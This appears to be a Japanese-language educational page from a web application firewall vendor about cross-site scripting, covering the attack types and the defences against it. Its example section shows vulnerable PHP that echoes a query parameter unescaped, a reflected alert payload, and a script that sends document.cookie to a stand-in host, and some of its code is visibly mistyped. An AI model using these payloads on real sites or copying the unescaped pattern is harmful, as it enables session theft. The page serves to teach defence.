San Antonio API Security Summit 2025 に参加しよう!
San Antonio API Security Summit 2025 に参加しよう!
San Antonio API Security Summit 2025 に参加しよう!
San Antonio API Security Summit 2025 に参加しよう!
San Antonio API Security Summit 2025 に参加しよう!
San Antonio API Security Summit 2025 に参加しよう!
閉じる
プライバシー設定
ウェブサイト運営に必要なCookieや類似技術を使用しています。追加のCookieは貴社の同意がある場合のみ利用されます。同意は「Agree」をクリックすることでいただけます。どのデータが収集され、どのようにパートナーと共有されているかの詳細は、Cookieポリシープライバシーポリシーをご確認ください。
Cookieは、貴社デバイスの特性や、IPアドレス、閲覧履歴、位置情報、固有識別子などの特定の個人情報を取得、解析、保存するために使用されます。これらのデータは様々な目的で利用されます。分析Cookieによりパフォーマンスを評価し、オンライン体験やキャンペーンの効果向上に役立てます。パーソナライズCookieは、利用状況に応じた情報やサポートを通じ、貴社専用の体験を提供します。広告Cookieは、第三者が貴社のデータをもとにオーディエンスリストを作成し、ソーシャルメディアやネット上でのターゲット広告に使用します。貴社は各ページ下部のリンクから、いつでも同意の許可、拒否、または撤回が可能です。
ご送信ありがとうございます。内容を受け付けました。
申し訳ありません。フォーム送信時にエラーが発生しました。
/
/
WAF, Vulnerabilities

XSS(クロスサイトスクリプティング)攻撃とは?

クロスサイトスクリプティングとは、ウェブアプリのコード側で実行され、無警戒な利用者の情報を詐取する攻撃です。信頼されたウェブアプリに悪意あるコードを挿入することで、攻撃者は正規の情報収集メッセージに見せかけて利用者に送信します。まるでハリウッド映画の劇場で行われるテロ攻撃のように、攻撃者は舞台の隙を突いて正体を隠すか、既知の劇の内容を少し変更して攻撃を仕掛けるのです。これ以上に適した隠れ蓑はありません。

XSS(クロスサイトスクリプティング)攻撃とは?

このような攻撃は、ウェブアプリのコード側から実行され、場合によってはウェブアプリ自体に損害を与えることが狙いです。しかし、無防備な利用者が最も影響を受けるのは、攻撃者が個人情報や非常にセンシティブなデータにアクセスできるためです。つまり、クロスサイトスクリプティングの目的は、信頼されたウェブアプリの脆弱な部分を通じて、悪質なコードを利用者に送り込むことにあります。

通常、ソーシャルメディアや利用者のコメントを受け付けるウェブアプリは、クロスサイトスクリプティング攻撃に対して特に無防備です。技術的には、CSSなどのウェブコードの一部や、VB Script、ActiveXなどのライブラリも攻撃対象となりますが、特にJavaScriptはクロスサイトスクリプティング攻撃者にとって最も利用しやすい手段です。

基本的には利用者側の問題ですが、攻撃者はXSSを用いて目的のウェブサイトの信頼性を低下させることも狙います。有害なコードがウェブサイトのコードに組み込まれ、利用者に送信されると、ウェブアプリとその利用者は攻撃者の制御下に置かれる危険性があります。

また、脆弱なウェブページの元の内容を改変したり、利用者を別の不審なウェブサイトへ誘導するためにも利用されます。まとめると、XSSクロスサイトスクリプティング攻撃は、ウェブアプリの開発者と利用者の双方が備えるべきセキュリティ上の課題です。

XSS(クロスサイトスクリプティング)の仕組み

攻撃者がXSS攻撃を実行するためには、主に2つの重要な段階があります。

  1. クロスサイトスクリプティング―この段階では、攻撃者がウェブアプリの脆弱な部分を見つけ、悪意あるコードを既存のコードに挿入します。その際、利用者の入力が不可欠です。攻撃者は利用者の入力を取り込むよう仕組まれたコードを埋め込むことで、気づかぬうちにコードが変更されるようにします。利用者のプログラムからは異常が見受けられず、あるいは攻撃者が単にウェブアプリから利用者を誘導するようコードを改変する場合もあります。
  1. 被害の利用者がウェブアプリを使用し、新たなコードに入力すると、攻撃者はフィッシングなどの手法を用いて、被害者の情報を詐取する可能性があります。攻撃コードが敏感な情報の入力を要求すると、攻撃者が仕込んだ指示通りに実行され、利用者の情報が攻撃者の意図する目的で収集されます。
Cross-Site Scripting Work

XSSクロスサイトスクリプティングの用途

ウェブアプリから利用者情報を詐取する以外にも、攻撃者がXSS攻撃を選ぶ理由は複数あります。前述の通り、XSS攻撃は主にJavaScriptを用いて実行されます。これらの攻撃は他のセキュリティ侵害に比べて危険度が低いと考えられる場合もありますが、実際にはウェブアプリと利用者にとって大きなリスクとなります。XSSの用途は以下の通りです。

  • 攻撃者はコードを改変し、ウェブアプリのDOMを読み取り、自由に操作できます。
  • データそのものに直接触れなくても、熟練した攻撃者は任意の利用者に関する情報へアクセス可能です。現代のアプリでは、JavaScriptがHTML API5を利用できるため、利用者の位置情報や、マイク、カメラなどのプライベートな機能にアクセスすることができます。
  • 攻撃者は利用者のクッキーに接近し、利用者になりすますことができます。JavaScriptはウェブの他の機能への無制限のアクセスを許すため、クッキーを通じて利用者のふりをすることが可能です。
  • また、攻撃者はトラフィックを誘導して大規模なDDoS攻撃を仕掛けることも考えられます。これは仮説上の話で、多くの攻撃者がこの手法を採用するわけではありませんが、他の方法に比べ技術的ハードルは低くなります。

ほとんどの場合、これらの攻撃は利用者が何らかの形で協力しなければ成功しません。しかし、熟練したフィッシャーはフィッシングやソーシャルエンジニアリングを用いて、この制約を回避することも可能です。

XSSクロスサイトスクリプティング攻撃の種類

他のセキュリティ攻撃と同様に、XSS攻撃も多様な種類があります。攻撃方法、影響範囲、持続時間により分類され、現時点で主に以下の3種類が知られています。

  • 【保存型(または永続型)XSS攻撃】―攻撃コードがウェブアプリ内に長期間保持されるため、このように呼ばれます。悪質なコードがアプリ内に保存され、ユーザの操作に関係なく実行され続けるため、利用者がウェブアプリを開くたびに自動的に攻撃コードが実行される、最も危険なXSS攻撃です。
Stored (or relentless) XSS attacks
  • 【リフレクト型XSS攻撃】―保存型とは異なり、一度限りの攻撃として各利用者を狙うため、ウェブアプリ内に永続的には残りません。攻撃者は、標的サイトのサーバへ危険なHTTPリクエストを送信し、そのレスポンスに攻撃コードが含まれる形で利用者に返されます。利用者のプログラムがこのレスポンスを通常のものとみなし、コードが実行されるため、このタイプが最も一般的に用いられます。攻撃者はソーシャルエンジニアリング、フィッシング、悪質なリンクなどを組み合わせて実行します。
Reflected XSS attacks

  • 【DOM型XSS攻撃】―この攻撃は非常に巧妙で、ある程度の技術が必要です。ウェブアプリの開発者が入力値を十分にサニタイズせずにDOMへ反映させる場合に発生し、攻撃者はこの欠陥を利用して(多くの場合JavaScriptの)悪質なコードを挿入します。
DOM (Document Object Model) based XSS attacks

ウェブアプリの構造はHTMLコードによって決まり、HTMLファイルに保存されます。各ファイルは対応するDOMを持ち、利用者に見えるフロントエンドを構成しています。XSS攻撃が実行されると、このDOMにアクセスし、ページの内容や構造が変更される恐れがあります。DOM型攻撃では、document.url、document.location、document.referrer などがよく利用されます。

XSS攻撃の例

これまでに実行された代表的なXSS攻撃の例を以下に示します。

  1. 【Index.php攻撃】 
<? Php
$name = $_GET ['name'];
Echo "Welcome $name<br>";
Echo "<a href="http://xssattackexamples.com/">Click to Download</a>";?>
index.php? Name=guest<script>alert ('attacked') </script> (the attack URL)

この例では、攻撃者が作成したURLを無警戒な利用者に送信します。信頼されたウェブアプリを介して送られたURLは、利用者がクリックしやすく、クリックすると「attacked」というメッセージが表示されます。このコード自体は直ちに大きな被害を及ぼしませんが、もし目的のURLが危険なサイトに変更されれば、利用者は攻撃者の手口から守ることができなくなります。

  1. 【クッキーの窃取】 

XSS攻撃はクッキーの窃取にも利用されます。クッキーとは、利用者を認証し情報を記録するウェブの機能です。この例では、攻撃者が利用者のクッキーを奪うよう設計されたスクリプトをウェブアプリのコメント欄のサーバから送信します。以下はそのコード例です。

<script>window.location="http://malicioussite.com/?cookie=" + document.cookie</script>

攻撃者は、ソーシャルエンジニアリングで利用者にリンクをクリックさせるか、無防備な利用者が自発的にクリックすることを期待します。利用者がリンクを開きコードが実行されると、そのクッキーが攻撃者の元へ送信されます。

<Html>
    <h1>Latest Comments</h1> 
    <scrpt>
        window.location="http://malicioussite.com/?cookie=" + document.cookie 
    </scrpt> 
</Html>

このように、危険なコードが対象ウェブアプリのコメント欄に表示されます。

XSSクロスサイトスクリプティング攻撃を防ぐための手順

成功したXSS攻撃は、ウェブアプリの信頼性や利用者の評価に大きな損害を与えます。その危険性から、企業はセキュリティ対策を講じることが重要です。以下に、ウェブアプリをXSS攻撃から守るための方法を示します。

  1. 【入力値の検証】

ウェブコードは厳格に検証されるべきです。利用者の入力に悪意あるコマンドが含まれていないかチェックし、ホワイトリストやブラックリストによる検証を行うことで、正当な利用者がウェブアプリにアクセスできなくなるリスクを回避します。

ここでの重要点は?

ホワイトリスト方式とは、一定の安全なデータ形式のみを許可する方法です。例えば、利用者コメントの入力欄をフリーテキストで受け付ける代わりに、ドロップダウンリストを利用することで安全性が向上します。

  1. 【HTMLコードのサニタイズ】

この手法は、攻撃者がウェブアプリのDOMを悪用するのを防ぎます。HTML5のサニタイズライブラリを利用して、危険な内容がHTML内に挿入されるのを防止します。

  1. 【入力値の文字をエンコード】

利用者が入力した文字をエンコードすることも、XSS攻撃を防ぐ方法の一つです。

  1. 【入力欄に悪意あるコードがないかテスト】

定期的に入力欄をテストすることは、XSS攻撃を防ぐ上で非常に有効です。手動でのフィルタリングに加え、Wallarmのウェブアプリファイアウォールを使用することで、悪質な攻撃からウェブサイトを守ることができます。

  1. 【追加対策として、コンテンツセキュリティポリシーの設定】

現代のアプリは、コンテンツセキュリティポリシーを設定する余地があります。これにより、JavaScriptコードの取得元や実行を制御し、安全と判断したコードのみが動作するように設定できます。特定のコードの実行を禁止することも可能です。

結論

ウェブアプリは、古典的な舞台劇の一幕のように、美しく構成されたコードによって動作します。サイバー犯罪者の手口から貴社の利用者、ウェブサイト、そして信頼を守ることが重要です。さぁ、対策を始めよう。

FAQ

参考資料

最新情報を購読

更新日:
February 25, 2025
学習目標
最新情報を購読
購読
関連トピック